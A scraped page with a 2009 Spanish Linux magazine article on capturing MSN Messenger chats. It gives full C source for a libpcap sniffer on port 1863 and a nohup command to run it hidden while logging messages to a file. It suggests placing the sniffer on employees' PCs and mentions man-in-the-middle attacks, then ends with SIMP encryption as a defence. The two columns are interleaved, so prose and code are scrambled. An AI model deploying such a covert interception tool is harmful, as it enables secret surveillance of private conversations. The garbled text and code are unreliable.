Schioppetto2do c tecnologiaSchioppetto2do c tecnologia
Schioppetto2do c tecnologia
 
Cain & abel (sniffer)
Cain & abel (sniffer)Cain & abel (sniffer)
Cain & abel (sniffer)
 
Curso de programación de virus (mundo del software)
Curso de programación de virus (mundo del software)Curso de programación de virus (mundo del software)
Curso de programación de virus (mundo del software)
 
Que es un snifer a
Que es un snifer  aQue es un snifer  a
Que es un snifer a
 
Presentación introducción taller cluster 2010/07
Presentación introducción taller cluster 2010/07Presentación introducción taller cluster 2010/07
Presentación introducción taller cluster 2010/07
 
Administración de switches
Administración de switchesAdministración de switches
Administración de switches
 
Smtp 2950
Smtp 2950Smtp 2950
Smtp 2950
 
Q es un snifer
Q es un sniferQ es un snifer
Q es un snifer
 
Guia de redireccionamiento en ubuntu
Guia de redireccionamiento en ubuntuGuia de redireccionamiento en ubuntu
Guia de redireccionamiento en ubuntu
 
Copseptos del computador sisneros
Copseptos del computador sisnerosCopseptos del computador sisneros
Copseptos del computador sisneros
 

Interceptando conversaciones messenger

  • 1. hacking para linuxeros Interceptando conversaciones Messenger Interceptando conversaciones Messenger David Puente Castro Analizar hasta qué punto un protocolo puede considerarse como vulnerable, es algo que conlleva un gran esfuerzo, pero muy por encima podemos agruparlos en dos grupos: Los que ofrecen cifrado, y los que no. Aquellos que no lo hacen, deben de atenerse a las consecuencias. ¿ A quien le puede interesar capturar conversacio- y reestructurar el código hasta tal punto que la idea original linux@software.com.pl nes? No encontrar respuesta a esta pregunta resulta para el que fue creado se torne ilegible (a pesar de que siga francamente complicado. Que sea o no éticamente funcionando igual o mejor que antes). correcto es un tema tratado ya en demasía y que depende únicamente de los fines de la persona que lo realiza. ¿Que pretende este artículo? Capturar conversaciones realizadas a través del software En una primera fase veremos cómo capturar conversaciones Messenger, aMSN, o todo que trabaje bajo el mismo proto- de Messenger con menos de 200 líneas de código fuente en colo, puede ser algo interesante. Y aquí no nos referimos a la lenguaje C (no contabilizando comentarios). El método que acción en si, sino al ambiciado: ¿Cómo hacerlo?. utilizaremos puede ser reutilizado para capturar conversa- Los programas son criaturas extrañas, la mayoría de ciones de IRC, AIM, Yahoo!, ICQ e incluso para capturar las veces complejas y algunas veces son obras demasia- direcciones URL en peticiones HTTP. do personales. Cuando uno deja de ser un simple novato Finalmente estudiaremos cómo este problema de seguri- y comienza a interesarse en cómo funciona lo que le rodea, dad puede ser evadido con la aplicación de ciertas medidas de e incluso decide meter su cabeza en el código fuente, no todo cifrado de protocolo gracias al uso SIMP. es color de rosa. Y todo ello no es porque el Programador sea una en- Ideas tidad retorcida cuya única intención sea hacer su código Plantar un sniffer en su propio ordenador para capturar indescifrable (aunque podría serlo, y más bonito todavía conversaciones puede parecer inútil, no obstante, cuando lo sería descifrarlo). La razón es que cuando uno consigue una sitúa en los PC's de sus empleados y espera a saber a qué se base lo suficientemente sólida como para mantenerse por si dedican realmente en horario de trabajo, el asunto se vuelve misma, el programador no puede evitar la incesante necesi- más interesante. Debo aclarar que espiar a su pareja es más dad de añadir nuevas funciones, introducir nuevas variables, inmoral todavía. 50 Linux+ 3/2009
  • 2. hacking para linuxeros Interceptando conversaciones Messenger La mayor ventaja se obtiene cuando entra en juego un ataque Man In The Middle, enton- ces todo cambia, pero la situación se vuelve ilícita, téngalo en cuenta. Aplicación de monitorización y análisis de tráfico de una red que detecta en los paquetes individuales pratones específicos seleccionados por el usuario. Pueden ser utilizados ilegalmen- te para interceptar tráfico y por norma general suelen ser silenciosos. Man In The Middle Figura 1. Esquema del ataque Man in the Middle Un ataque Hombre en el medio, es aquel en que Anteriormente conocido como Ethereal, es Existen algunos otros comandos, pero están una persona con un dispositivo de comunicación la herramienta más destacada en Linux para el orientados a control y establecimiento de pa- consigue situarse en una posición intermedia estudio de lo que sucede en las capas más bajas rámetros de conexión. Ha llegado el momento entre un router y el usuario legítimo de una red, de nuestras conexiones de red. Su principal de que veamos el comando más importante en de modo que todo el tráfico que circula por la red capacidad es la de capturar todos los paquetes nuestra investigación. pasa a través del atacante sin el conocimiento di- que entran y salen de nuestra red, y generar una recto del resto de participantes (ver Figura 1). estructura muy intuitiva con toda la informa- Comando MSG Con este artículo no se pretende incurrir ción legible que una persona con ciertos co- Veámoslo en directo. Inicie Wireshark con en ninguna infracción de la ley, tan solo es un nocimientos puede interpretar. Lo mejor que se permisos de administrador root. Una vez se estudio detallado de la situación a la que nos en- puede decir de él, es que es de código abierto. encuentre delante de la pantalla principal siga frentamos a diario. El objetivo es conocer hasta Podríamos decir y decimos que el protoco- el menú Capture -> Options. Una vez aquí qué punto estamos a merced de atacantes con lo Messenger, al igual que por ejemplo IRC y escogeremos como interfaz de red aquella con malas intenciones y cómo defendernos. FTP tal vez, funciona por medio de comandos. la que obtenemos nuestra conexión normal a in- Estos son dirigidos a un servidor central que ternet (en mi caso ath0) y en el campo Capture Requisitos se encarga de hacer las gestiones necesarias Filter escribiremos lo siguiente: Los requisitos indispensables son los siguientes: según los parámetros indicados. Este servidor es un intermediario entre emisor y receptor. tcp and src port 1863 or dst port 1863 • LibPcap (version 0.8) (http:// En realidad todo el proceso es un poco más sourceforge.net/projects/libpcap/), complicado, pero esta idea sirve perfectamente Si hacemos click en el botón Start estaremos • LibNet (version 1.1 o superior) (http:// a nuestros fines. iniciando una captura de red filtrando única- libnet.sourceforge.net). Nota: Ahora deténgase a pensar un mo- mente el trafico TCP que entra y sale del puerto mento. Si nuestra información viaja sin cifrar 1863, que precisamente es el que Messenger LibPcap es una pequeña maravilla que nos y circula por una máquina que no es de nuestra utiliza para las comunicaciones. proporciona todas las funciones necesarias para confianza, ¿hasta qué punto está seguro de que Inicie su software aMSN habitual en Linux, capturar paquetes y controlar la información en sus mensajes no son inspeccionados en busca y comience una conversación. Después de un ellos contenida. LibNet, es todo lo contrario, su de información peligrosa? breve intercambio de frases puede cerrar la objetivo es facilitar un API de programación Bien, continuemos. Lo que hemos dicho sesión y detener Wireshark. Veamos qué hemos orientado a la inyección de paquetes. del servidor central y de la interactuación a obtenido en nuestro ejemplo (Figura 3). No se entrará en detalles acerca de la im- través de comandos es tan cierto, que puede es- Esto es un inicio de sesión clásico. En el plementación y argumentos de las funciones de tablecer una comunicación con toda naturalidad marco superior, hacia la derecha, podemos la librería libpcap, sin embargo, se mostrará el mediante una clásica sesión de telnet. Puede cometido de cada una de ellas, pues para eso seguir este estudio aquí (http://65.23.158.196/ estamos aquí, para comentar el código. Libnet, nitz/nitz/protocolo_msn.pdf). por su parte, podría ser evitado pero utilizare- Describamos ahora los comandos básicos, mos sus estructuras de cabecera para protocolos para posteriormente centrarnos en el que más debido a que son verdaderamente intuitivas y interesa en nuestra investigación: facilitan nuestra tarea. • VER: Establece la versión del protocolo Análisis del protocolo MSN Messenger. El método utilizado para crear el código que • USR: Comando de identificación de usuario. veremos en la siguiente sección se basa en algo • SYN: Obtener la lista de contactos. tan sencillo como interpretar las capturas de • CHG: Comando de cambio de estado. uno de los mejores sniffer de redes que dispo- • CAL: Invitar a un contacto a una conversa- nemos desde nuestro Sistema Operativo Linux: ción. Wireshark. • BYE: Comando de cierre de sesión. Figura 2. Logo de Wireshark www.lpmagazine.org 51
  • 3. hacking para linuxeros Interceptando conversaciones Messenger Listado 1a. Código fuente /* Archivos de cabecera y definiciones */ if (pcap_setfilter(sniffmsn, &filtro) == -1) { fprintf(stderr, "Error aplicando el filtron"); #include <stdio.h> exit(-1); #include <pcap.h> } #include <libnet.h> // Iniciamos la captura de paquetes indefinidamente, el 3er parámetro es la #define MSN_PORT 1863 // función que se encarga de interpretar los paquetes, // Puerto por defecto para MSN Messenger. siempre tiene tres #define TCPHDR_LEN 0x20 // parámetros y no tiene valor de retorno. // Algunas veces podría necesitar cambiar esto rc = pcap_loop(sniffmsn, -1, &read_msn, NULL); // por "0x14" para que funcione. Ello es debido return 0; // a que diversas opciones del protocolo TCP } // pueden cambiar el tamaño de la cabecera de // Función que interpreta los paquetes. Extraemos las // 20 a 32 bytes . cabeceras TCP e IP y #define FILTRO_MSN "tcp and src port 1863 or dst port // controlamos el payload (carga o datos) que se pasará 1863" a la siguiente // Declaraciones de funciones // función diferenciando entre enviados y recibidos static char * get_ident(char *); para leer los que sean void print_msg(char *, int, char *, char *); // realmente interesantes. void handle_msg(char *, char, int); void void read_msn(u_char *, const struct pcap_pkthdr *, read_msn(u_char *useless, const struct pcap_pkthdr const u_char *); *pkthdr, const u_char *pkt) int main(int argc, char *argv[]) { { u_char *data; int rc; int len; char *device; struct libnet_ipv4_hdr *iph; // Cabecera IP char errbuf[PCAP_ERRBUF_SIZE]; struct libnet_tcp_hdr *tcph; // Cabecera TCP struct bpf_program filtro; iph = (struct libnet_ipv4_hdr *)(pkt + LIBNET_ETH_H); bpf_u_int32 netp, maskp; tcph = (struct libnet_tcp_hdr *)(pkt + LIBNET_ETH_H pcap_t* sniffmsn; + LIBNET_IPV4_H); if (argc < 2) // Los datos se alcanzan tras pasar las cabeceras: exit(0); ethernet, ip y tcp. device = argv[1]; // Único parámetro: interfaz de data = (u_char *)(pkt + LIBNET_ETH_H + LIBNET_IPV4_H red. Ex.: eth1, ath0, etc. + TCPHDR_LEN); // Abrimos el dispositivo para captura en modo len = ntohs(iph->ip_len); promiscuo // Si el puerto origen es 1863, estamos recibiendo un sniffmsn = pcap_open_live(device, 1600, 1, 20, mensaje. errbuf); if (ntohs(tcph->th_sport) == MSN_PORT) { if (sniffmsn == NULL) { handle_msg(data, 'R', len); fprintf(stderr, "pcap_open_live(): %sn",errbuf); // Maneja los datos que anteriormente exit(-1); // destripamos: comando, opciones y mensaje. } } if (pcap_lookupnet(device, &netp, &maskp, errbuf) == // Si el puerto destino es 1863, estamos enviando un -1) { mensaje fprintf(stderr, "Error en pcap_lookupnet(): %s else if (ntohs(tcph->th_dport) == MSN_PORT) { n", errbuf); handle_msg(data, 'S', len); exit(-1); } } // Función que busca mensajes dentro de la carga útil // Creamos el filtro con las opciones anteriormente del paquete. definidas void if (pcap_compile(sniffmsn, &filtro, FILTRO_MSN, 0, handle_msg(char *data, char dir, int dlen) netp) == -1) { { fprintf(stderr, "Error compilando el filtron"); char *pc, *pstart; exit(-1); char *email; } char *nick; // Aplicamos el filtro a la interfaz char *buf; 52 Linux+ 3/2009
  • 4. hacking para linuxeros Interceptando conversaciones Messenger Listado 1b. Código fuente // Creamos un buffer con la longitud del payload } buf = (char *) calloc(dlen, sizeof(char)); // Trabajar limpiamente // Copiamos allí su contenido para manejarlo free(buf); if (buf != NULL) { free(email); strncpy(buf, data, dlen); free(nick); } else { } fprintf(stderr, "nNo hay suficiente memorian"); void exit(-1); print_msg(char *pc, int dir, char *mail, char *nick) } { // Comprobamos que contenga el comando "MSG" char *str, *str_end; if (strncmp(buf, "MSG", 3) == 0) { int len; // Que su contenido sea texto plano y no datos de // Parametros válidos para el comando "MSG" control if (*pc == 'U' || *pc == 'N' || *pc == 'A') { if (strstr(buf, "Content-Type: text/plain") != str = strchr(pc, ' '); NULL) { str++; // Mensajes enviados } if (dir == 'S') { else { // Nos situamos en el primer parámetro del comando MSG str = pc; pc = strchr(buf + 4, ' '); } pc++; // Justo antes del primer retorno de carro se // Función que alcanza el mensaje y lo imprime. El encuentra la longitud del último parámetro // mensaje, lo almacenamos en la variable 'len'. // es nulo porque no imprimimos el e-mail del emisor, str_end = strchr(str, 'r'); nosotros. *str_end = '0'; // Ya saben, para manejar cadenas // Deberíamos hacerlo si utilizamos ataques MITM. deben terminar en 0. print_msg(pc, dir, NULL, NULL); len = atoi(str); } str = str_end + 2; // Mensajes recibidos *(str + len) = '0'; else { // Gracias al retorno de carro y nueva linea adicional // Lo mismo que antes pero esta vez colocamos un que el protocolo caracter nulo al // MSN nos facilita, el mensaje real siempre se // final de la dirección e-mail del receptor para poder encontrara después de dos manejar // retornos de carro y nueva linea consecutivos. // este fragmento como una cadena. str = strstr(str, "rnrn"); pstart = buf + 4; str += 4; pc = strchr(pstart, ' '); if (dir == 'S') if (pc != NULL) else *pc = 0; printf("nSMS desde (%s) [%s]: %sn", mail, nick, email = get_ident(pstart); str); // Recibidos // Esta función, que será descrita al } // final del código, no es más que un // Administrador de memoria dinámica para almacenar // pequeño administrador de memoria cadenas. // dinámica, que reserva el espacio static char * // suficiente para almacenar e-mail y get_ident(char *ptr) // sus consecuentes overflows. { // Mismo procedimiento para almacenar el nick. char *buff; pc++; size_t bsize = 32; // Tamaño de buffer inicial pstart = pc; int lenp = strlen(ptr); pc = strchr(pstart, ' '); // Mientras la longitud de la cadena sea mayor que el if (pc != NULL) tamaño de buffer, *pc = 0; // lo vamos multiplicando por 2 hasta que la capacidad nick = get_ident(pstart); sea suficiente. pc++; while (lenp > bsize) { print_msg(pc, dir, email, nick); bsize *= 2; // Imprimir mensaje } } buff = (char *) calloc(bsize, sizeof(char)); } // Creamos el buffer con 0's www.lpmagazine.org 53
  • 5. hacking para linuxeros Interceptando conversaciones Messenger Listado 1c. Código fuente if (buff != NULL) { strncpy(buff, ptr, bsize - 1); // Copiamos la cadena al buffer return buff; } else { fprintf(stderr, "nNo hay suficiente memorian"); exit(-1); } } ver remarcado un comando USR con ciertos parámetros de identificación para mi usuario. Encima verá algunos referentes a la versión. Todo esto es más o menos común a cada imple- mentación, pero veamos ahora qué comandos MSG son relevantes y cuáles no (Figura 4). Sólo las líneas 23 y 33 son relevantes. Podemos ver varios comandos MSG, pero no todos son de interés y no todos contienen men- sajes. Echemos un vistazo al marco inferior de nuestro paquete número 23 que hemos selec- cionado intencionadamente. Al final de todo se observa el mensaje que hemos enviado (aquí, hola, mi nombre es David), pero se preguntará que es toda esa información previa. Una breve descripción: Figura 5. Redireccionando los mensajes hacia un archivo de salida • MSG 58 A 146 rn: – Longitud en bytes de todo lo que vie- • Content-Type: text/plain; charset=UTF- – Nombre del comando, ne a continuación de este parámetro 8rn: – Parámetro no importante, hasta el final del mensaje enviado. – El parámetro text/plain indica que – Debemos saber que solo “A”, “N” • MIME-Version: 1.0rn: el paquete lleva texto legible.Este es y “U” sirven a nuestros intereses, – Por defecto. uno de los puntos más relevantes, solo los paquetes que contengan este campo llevarán mensajes de conver- sación consigo. Los demás podemos desecharlos. – Formato de codificación de caracteres. • X-MMS-IM-Format: FN=Helvetica; EF=; CO=000000; CS=0; PF=22rn: – Fuente de la letra, Figura 3. Ilustración al comando MSG – Cursiva, Negrita o Subrayado, – Color del texto, – Codificación de caracteres, – ... • rn: – Adicional, será de mucha ayuda en la codificación del programa, • hola, mi nombre es David: – ¿Requiere alguna explicación? User-Agent que identifique el software desde el que se está realizando la conexión, como ocurre con los navegadores. Figura 4. Comprobando la relevación de comandos MSG 54 Linux+ 3/2009
  • 6. hacking para linuxeros Interceptando conversaciones Messenger Hasta aquí todo claro, lo que acabamos de en cierta medida su comprensión a la hora de se activa en el ordenador del atacante y no en ver es el mensaje que nosotros enviamos hacia interpretarlo. Veámoslo: las víctimas). el destinatario. Entonces las ideas que sacamos No es que sea muy ortodoxo, pero para no en claro de todo el esquema son las siguientes: • Capturar paquetes con libpcap. complicar más el código que acabamos de ver • Filtrar los que vayan o provengan del hace un momento, tomaremos de la mano las • Solo los comandos MSG con parámetros puerto 1863 (msn). facilidades que nos aporta Linux en la línea de “A”, “N” o “U” son atractivos, • Copiar la carga de datos del paquete a un comandos. Los objetivos son, ocultar el sniffer • Solo paquetes con la cadena Content-Ty- buffer. visualmente y redireccionar los mensajes hacia pe: text/plain; contienen mensajes, • Diferenciar entre enviados y recibidos. un archivo de salida que hará las veces de log • El mensaje siempre se encuentra después • Guardar el e-mail/nick del receptor en caso o archivo de grabación. Esto puede conseguirse de una secuencia rnrn. necesario. fácilmente con la siguiente instrucción: • Seleccionar aquellos que contengan el co- Si ahora miramos el contenido del paquete nú- mando MSG. # nohup ./smsn [dev] > log_msn.log & mero 33, encontramos la única diferencia: • Seleccionar aquellos que contengan Con- tent-Type: text/plain. o • MSG jenni_somo@hotmail.com (#)whi- • Desplazarnos hasta la cadena del mensaje tengel!! 144rn: e imprimirla (tras “rnrn”). $ sudo nohup ./smsn [dev] > log_ – Nombre del comando, msn.log & – Dirección de correo del usuario, Aclaraciones – Nick o frase del usuario, Puede compilar el código fuente (Listado 1) de Con nohup usted desengancha el siguiente co- – Cantidad de bytes hasta el final del esta forma: mando del shell y así puede cerrarlo sin preocu- mensaje. parse. El carácter final “&” envía el proceso al $ gcc smsn.c -lpcap -lnet -o smsn segundo plano. Solo nos queda verlo en acción Casi sin darnos cuenta acabamos de vislumbrar (Figura 5). como nuestra privacidad diaria se encuentra Habíamos mencionado al principio del artí- totalmente comprometida y en manos de cual- culo que un sniffer debe de ser un programa Usted no es como quiera que tenga la capacidad de aprovecharse silencioso. Y esto debe cumplirse tanto en el los demás (SIMP) de la situación. hecho de no interferir en el tráfico que cir- Hemos visto que es posible capturar conver- cula por la red, como en el hecho de que no saciones realizadas por medio del protocolo Paso a paso sea visible localmente (si estuviésemos tra- MSN. Hemos visto que es posible crear una Para la realización de nuestro programa segui- bajando bajo un ataque Man in The Middle pequeña utilería como prueba de concepto. remos una estructura paso a paso que facilitará esto no sería necesario puesto que el sniffer Pero todavía no hemos visto que es posible defenderse. SIMP es capaz de proteger el contenido de nuestras conversaciones mendiante algo- ritmos de encriptación. El programa trabaja clasificando las conversaciones según 3 nive- les de seguridad: No encriptado, encriptado, y encriptado/autentificado. SIMP fue principalmente diseñado en for- ma de una aplicación llamada SimpLite para entornos Windows, que dispone de cuatro versiones distintas según nuestro deseo sea cifrar una de estos servicios de mensajería instantánea: • MSN, • Yahoo!, • ICQ/AIM, • Jabber/Google. Afortunadamente para nosotros, la empresa SecWay diseñó una versión para Unix, Simp- Server, que puede correr en los siguientes sistemas: • Linux x86 (libstdc++ 5 required), • MacOS X, Figura 6. Opciones avanzadas • FreeBSD 5. www.lpmagazine.org 55
  • 7. hacking para linuxeros Interceptando conversaciones Messenger Sobre el autor David Puente Castro, alias blackngel, es un gran aficionado a la programación y la seguridad informática . Original de Ouren- se (Galicia) y viviendo actualmente en la provincia de Salamanca dedica la mayor parte de su tiempo libre a disfrutar de la experiencia Linux. Asiduo escritor de artículos básicos sobre temas de seguridad informática en el E-Zine electrónico S.E.T. (Saqueadores Edición Técnica), ampliamente conocido en el Underground Hispano. Actualmente man- tiene su segunda página oficial en: http:// set.diazr.com/, cuyo principal objetivo, radi- Figura 7. Página web de LibPcap ca en ocupar el lugar que en su momento cubrió la web de Hackemate como reposito- • Descomprimir en /usr/local: do es el pequeño administrador de memoria rio de material sobre temas de hacking. $ cp simpserver-2.1.5c-linux- get_ident(...). Con él podemos aprender Su primer encuentro con Linux data ya x86.tgz /usr/local prácticas de programación bastante más ade- de hace unos 8 años y fue poco más ade- $ tar -xvzf simpserver-2.1.5c- cuadas en la actualidad. Debemos evitar caer en lante que descubrió el fantástico mundo linux-x86.tgz las tentaciones del de la programación y la subcultura hacker. • Ejecutar el servicio (Listado 2). Programación en Linux: Casos Prácticos Participa activamente en wargames como: (http://www.anayamultimedia.es), podría ser yoire.com, warzone (elhacker.net) y otros. SimpServer trabaja como un proxy, utilizan- una buena lectura si pretendes que tu visión Aunque trabaja con ordenadores, la do SOCKS 4 para tal fin. Por ello debemos ante la programación cambie de forma nota- mayor parte de sus tareas diarias no tie- configurar nuestro cliente de mensajería para ble. nen una relación directa con esta temática. utilizarlo. Por desgracia aMSN solo soporta Espero que esto haya sido lo suficiente- Auxiliar administrativo, obligado a utilizar el SOCKS 5, pero los usuarios de Linux siempre mente interesante como para llegar hasta el sistema operativo Windows, tiene la cos- tenemos una solución para todo y en este caso final. La idea que subyace a todo este asunto tumbre de llevarse su última Distribución el cliente Pidgin nos viene de perlas. Dando por radica en que debemos ser precavidos con Live a la oficina para seguir disfrutando supuesto que sabe como instalarlo en su sistema todo aquello en lo que confiamos. de su SO favorito, Linux, y desarrollar sus ($ sudo apt-get isntall pidgin), veamos En todas las actividades es saludable, pequeños proyectos. como configurarlo (Figura 6): de vez en cuando, poner un signo de interro- Dedica el artículo a su pareja y familia gación sobre aquellas cosas que por mucho por la paciencia que demuestran cuando • Cuentas->Gestionar Cuentas->Modificar tiempo se han dado como seguras. [Bertrand intenta explicarles á haciendo. ->Avanzadas, Russell]. Por lo demás, puede encontrarlo online, • Tipo de proxy: SOCKS 4, Hasta la próxima, y feliz hacking. prácticamente las 24 horas del día, en • Servidor: localhost, las siguientes direcciones: blackngel1@ • Puerto: 11863. gmail.com y black@set-ezine.org Hasta aquí tiene configurado SimpServer to- En la red Es muy importante notar que la comunicación talmente en su sistema y disponible para ser es cifrada punto a punto, y la persona con la utilizado con Pidgin. Cualquier futura comu- • LibPcap: que deseemos establecer una comunicación nicación que implique a dos usuarios con este http://sourceforge.net/ también debe tener instalada esta misma he- software funcionando (SimpServer), producirá projects/libpcap/ rramienta, de otro modo los mensajes seguirían un mensaje informando acerca de un intercam- • LibNet: viajando en texto claro. bio de claves. Claves que han sido generadas http://libnet.sourceforge.net SimpServer es un servicio que aprendere- tanto de forma automática como de forma ma- • Protocolo MSN: mos a instalar y configurar a continuación (lo nual en anteriores versiones. http://65.23.158.196/nitz/nitz/ haremos bajo un sistema Ubuntu Linux): Tiene deberes, compruebe ahora con Wire- protocolo_msn.pdf shark en que formato fluyen los datos cuando • Programación en Linux: Casos Prácti- • Descargar el programa desde esta direc- atraviesan la red. Ya puede sentirse un poco cos – ISBN: 978-84-415-1839-1: ción: http://download.secway.com/public/ más seguro. http://www.anayamultimedia.es products/simpserver/simpserver-2.1.5c- • SimpServer para Unix: linux-x86.tgz Conclusión http://www.secway.fr/us/products/ • Instalar librería dependiente: $ sudo apt- Aunque no lo parezca, una de las partes más simpserver/ get install libstdc++5 interesantes del código que hemos desarrolla- 56 Linux+ 3/2009